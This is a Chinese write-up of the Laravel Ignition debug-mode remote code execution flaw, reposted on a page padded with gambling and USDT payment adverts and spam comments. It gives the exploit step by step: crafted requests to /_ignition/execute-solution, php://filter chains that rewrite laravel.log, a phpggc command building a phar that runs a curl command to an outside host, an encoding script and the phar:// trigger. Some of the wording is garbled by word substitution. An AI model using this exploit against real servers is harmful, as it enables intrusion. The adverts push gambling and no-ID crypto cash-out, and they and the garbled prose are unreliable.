皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

usdt第三方支付(www.caibao.it):Laravel Debug RCE剖析

admin2022-01-14269安全技术WEB安全

USDT自动充值接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

[TOC]

0x00 破绽成因

影响版本:Ignition<2.5.2

凭据补丁来diff,发现补丁位于Ignition的一个Solution子类中。凭据Igniter源码发现存在路由,找到ExecuteSolution路由可以动态执行Solution。

组织路由请求有洞的Solution。

POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=abc

这个破绽是先通过file_get_contents()读取文件内容,然后举行一些修改。最后使用file_put_contents()保留文件。也许代码如下:

$output = file_get_contents($parameters['viewFile']);

//省略xxx(对$output做一些处置)
//xxx

file_put_contents($parameters['viewFile'], $output);

由于这里无法随便修改$content,因此$content没有行使价值。把目光放到viewFile。由于文件协议可控,因此这里可以实验行使phar来举行反序列化。

若是想要使用phar,首先需要可以控制服务器上的一个完整的文件,恰好laravel的日志文件storage/logs/laravel.log就可以行使。通过本破绽的路由请求一个不存在的文件名作为viewFile的值,就可以把这个值保留到log文件中。

可以看到有三处POCPOCPOC被写入(最后一处在stack中,因此若是POC跨越15位,则从16位最先酿成...,也就是123456789012345...)。可是phar反序列化需要一个清洁的phar文件,而这个文件在POC的两侧都有垃圾字符。因此下面需要实验把垃圾字符去掉,只保留我们的POC

0x01 去掉垃圾字符

这里破绽发现者想要通过php://filter过滤器来对文件举行一些操作。

这里主要的思绪是先把我们的poc举行一些编码,最后再使用php://filter/write=来举行响应的解码,解码的同时去掉log中的其他字符。

为了利便后续的操作,首先是通过多次base64解码来清空log中之前的信息。第一次base64解码会把原文件酿成乱码,再举行多次解码即可基本清空文件。可能一次请求后会抛出一个base64解码的warning到日志文件中。只需要再请求一次即可。

php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=xxx/storage/logs/laravel.log

然后就是去掉发送poc时其他的垃圾字符,这里会用到一些编码知识。主要就是utf-16leutf-8的区别,utf-16le是两个字节代表一个字符(le是指小端模式),utf-8是一个字节代表一个字符。行使这个特征,我们可以把一串utf8字符看成utf16,在这样转换时字符串就会酿成非ascii的乱码。由于这些是非ascii字符,因此使用base64解码时会被清空。php过滤器中恰好存在这些过滤器,即php://filter/read=convert.iconv.utf-16le.utf-8/resource=xxx.txt,是指把xxx.txt的内容视作utf16,并将其转换成utf8

综上所述,我们可以先把POC base64编码,然后举行utf-8转utf-16le。在读log文件时先举行utf-16le转utf-8,这样之前的字符都市酿成乱码而POC不会,然后使用base64解码,就会去掉乱码,只剩下POC明文。

组织payload的历程就是明文->base64->utf8转utf16le,下面看若何组织这个payload,也就是utf-8若何转成utf-16le,这里做个实验,看看两者的区别。

<?php
$filename = "php://filter/write=convert.iconv.utf-8.utf-16le/resource=kkk4.txt"; //utf-16le编码写入文件
//$filename = "kkk4.txt";//utf-8写入文件

file_put_contents($filename, "<? abc$%^&*();");

两种编码写入的文件依次如下,可以发现utf-16le编码会在utf-8的字符后加上一个\00空字节。

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

utf-8转utf-16le需要在每个字符后面加上一个\00字节,因此可以在HTTP请求中加上%00替换。不外%00会导致file_get_contents()报错,因此要使用其余方式。

这里就要先容convert.quoted-printable-encode过滤器,它可以把所有的不能见字符转换成=xx,好比把\00转换成=00

这是思绪就清晰了,先举个简朴的例子,首先组织一个代表pocbase64编码的字符串cG9j的payload:
asdfaasdabcdc=00G=009=00j=00defasdfasdf,可以看到两侧都是垃圾字符。
读取时,使用如下的过滤器:
php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=xxxx/laravel.log,最终即可把poc还原出来。

在现实行使时有不少坑点

1.之前说了laravel.log文件中有三处会显示我们的payload,其中最后一处当payload过长时,从第十六个字符最先都市省略成...,因此我们要保证第十六个字符不在=的后两位,好比=0.=..会导致quoted-printable-decode过滤器返回空效果。因此需要在payload前填充15个字符,让第三处不显示payload即可。
2.由于convert.quoted-printable-decode会对=看成特殊字符,因此base64末端可能有的=会造成剖析失足(缘故原由与2一样),因此需要手动把base64编码后的=替换成=3D,对于base64编码中的+最好也替换成=2B
3.发送poc之后,使用过滤器来剖析log时,若是laravel.log最终的字节数为奇数,那么在utf-16le->utf-8时又会抛出一条新日志,这样后续的base64 decode就会失败了。由于我们的poc会在log中泛起两次,因此所有poc字符数一定是偶数个,影响log文件字符数奇偶的只能是log框架文本自己的字符数。只要在我们发送poc之前提前发送一个偶数文件名的请求,这样最终的log中就会有两次log框架自己的字符,因此必为偶数。

0x02 Attack

step0 消灭原log中的字符

POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 217

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=../storage/logs/laravel.log

step1 发送偶数文件名的请求

(对应坑3)

POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=11

step2 发送poc

POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2401

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=xxxxx

xxxxx就是payload,通过以下步骤获得:

./phpggc monolog/rce1 system "curl http://ip/success" --phar phar -o php://output | base64

把输出的效果经由下面的python剧本转换一下:

from binascii import b2a_hex
payload = "xxx" , base64 payload
armedPayload = ''
for i in payload:
    i = "="+b2a_hex(i.encode('utf-8')).decode('utf-8').upper()
    armedPayload += i+"=00"
print("123456789012345"+armedPayload),前面加15个字符,对应坑1

这里输出的效果直接放到上面的文件名中。

step3 清空垃圾字符,poc解码成phar文件内容

POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 310

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

step4 触发phar反序列化

POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 206

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=phar:///xxxx/laravel/storage/logs/laravel.log

注重这里的路径要换成laravel.log的绝对路径。

0x03 思索

在刚拿到这个破绽时仅看了破绽通告以及git补丁,先通过Ignition文档了解了Solution的作用和挪用方式,然后发现Solution似乎只有在blade模版失足时才会被挪用到,可是没法手动指定模版,以是这个洞也就没有找到入口。看了眼exp的url,发现竟然是诡异的/_ignition/,这个路由在Laravel给的Controller中是没有的。翻了下Ignition的源码,发现这个项目动态添加了路由并注册了几个Controller,最后才到了挪用点。

这个破绽的主要攻击方式就是phar,不外最有意思的点是行使php://filter伪协议将一个部门可控的文件酿成完全可控,这个破绽是先通过file_put_contents()写文件时用php://filter/write=xxx来举行解码,实在也可以使用php://filter/read=xxxfile_get_contents()处举行解码。

对于这个破绽,发现者还提出了一种行使FTP被动模式攻击PHP-FPM的攻击思绪。第一次使用file_get_contents()请求恶意ftp请求,获取payload,然后通过file_put_contents()连系FTP被动模式,把上面的payload发送到php-fpm的端口实现RCE。

这里贴两篇文章,以后再细说,留个坑。:)

手艺干货 | LARAVEL <= V8.4.2 调试模式下的RCE剖析

hxp2020的resonator题解剖析

0x04 参考

Laravel <= v8.4.2 debug mode: Remote code execution
PHP Conversion Filters
Using solution providers

网友评论

6条评论
  • 2021-02-20 00:16:03

    皇冠APP下载是一个开放皇冠体育代理最新登录线路、皇冠体育会员最新登录线路、皇冠代理APP下载、皇冠会员APP下载、皇冠线路APP下载、皇冠电脑版下载、皇冠手机版的平台。皇冠体育APP上登录线路最新、新2皇冠网址更新最快,皇冠体育APP开放皇冠会员注册、皇冠代理开户等业务。我明天还来!

  • 2021-04-07 00:08:30

    “一最先是这样的。'好吧,我喜欢漫威,但也没那么喜欢啦。我得知道我在做什么”。拉塞尔说道。离不开你啦!